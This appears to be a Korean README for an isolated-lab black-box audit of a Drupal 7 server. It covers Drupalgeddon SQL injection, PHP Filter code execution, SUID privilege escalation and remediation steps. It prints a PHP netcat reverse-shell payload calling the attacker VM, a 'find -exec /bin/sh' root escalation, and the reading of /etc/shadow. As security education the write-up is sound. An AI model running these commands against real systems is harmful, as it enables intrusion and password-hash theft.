
Drupal 7 서버에 대한 Black Box 보안 감사. 전체 Kill Chain 시연: SQL 인젝션(CVE-2014-3704) ➔ RCE ➔ Reverse Shell ➔ Root 권한 상승(SUID). 이 저장소에는 상세 기술 보고서, PoC 악용 증명 및 인프라 보안을 위한 수정 조치가 포함되어 있습니다.
이 프로젝트는 교육 및 학술 목적으로 통제되고 격리된 실험실 환경에서 수행되었습니다. 실제 인프라는 대상으로 삼지 않았습니다. 목표는 공격 메커니즘을 이해함으로써 시스템을 보호하는 방법을 배우는 것입니다.
이 프로젝트의 목표는 블랙박스(Black Box) 감사를 수행하는 것입니다. 즉, 분석은 대상에 대한 사전 지식 없이 시작됩니다. 어떠한 식별자, 기술 문서, 소스 코드도 제공되지 않았습니다.
인프라는 외부와의 상호작용을 차단하기 위해 VMware에서 개인 격리 네트워크(Host-Only)로 가상 배포되었습니다.
192.168.78.131
192.168.78.132
첫 번째 단계는 포트 스캔을 사용하여 대상 머신의 공격 표면을 매핑하는 것이었습니다.
실행된 명령 : nmap -sV 192.168.78.132

식별된 서비스 :
웹 서비스(포트 80)와 robots.txt 파일 분석을 통해 CMS Drupal의 존재가 확인되었습니다. 소스 코드 검사를 통해 구버전인 Drupal 7.x가 식별되었습니다.
정찰 단계의 결과는 심각한 공격 표면, 즉 관리되지 않는 Drupal 7 CMS를 드러냈습니다. 이 버전은 역사적으로 주요 보안 취약점(특히 "Drupalgeddon")에 취약한 것으로 알려져 있습니다.
이에 따라 감사는 공개 취약점(CVE)에 대한 집중 검색으로 전환되었습니다. 이 열거를 통해 단순 웹 방문자에서 시스템 관리자 "Root"로 전환할 수 있는 완전한 공격 체인이 존재함이 확인되었습니다.
식별된 공격 벡터 :
CVE-2014-3704 (Drupalgeddon) 취약점을 악용합니다. Drupal 데이터베이스 API의 이 취약점은 인증 없이 SQL 명령을 주입할 수 있게 합니다.
users 테이블에 관리자 권한을 가진 새 사용자 주입.
관리자로 로그인한 후, 기본 모듈인 PHP Filter를 사용합니다. 이 모듈은 잘못 구성된 경우 사이트 페이지에서 임의의 PHP 코드를 실행할 수 있습니다.
<?php system('nc -e /bin/bash 192.168.78.131 4444'); ?>www-data 사용자).
SUID(Set User ID) 권한이 있는 파일을 분석합니다. find 명령에서 심각한 구성이 발견되었습니다.
find . -exec '/bin/sh' \;find 바이너리가 root로 실행되며 Root (uid=0) 권한으로 셸을 실행합니다.root 접근 권한을 획득한 후, 사용자 비밀번호 해시를 유출하기 위해 민감한 파일 /etc/shadow를 읽습니다.

감사 결과 위험 수준은 CRITICAL로 나타났습니다. 구식 CMS와 시스템 구성의 부주의(SUID)가 결합되어 서버의 완전한 손상이 가능합니다.
기업에 미치는 영향 :
/etc/shadow)의 유출 가능성.우선 조치 계획 :
chmod u-s /usr/bin/find).전체 기술 세부 사항, 사용된 스크립트 및 심층 분석은 전체 보고서를 참조하십시오 : 감사 보고서 읽기 (PDF)
Fabien MOINE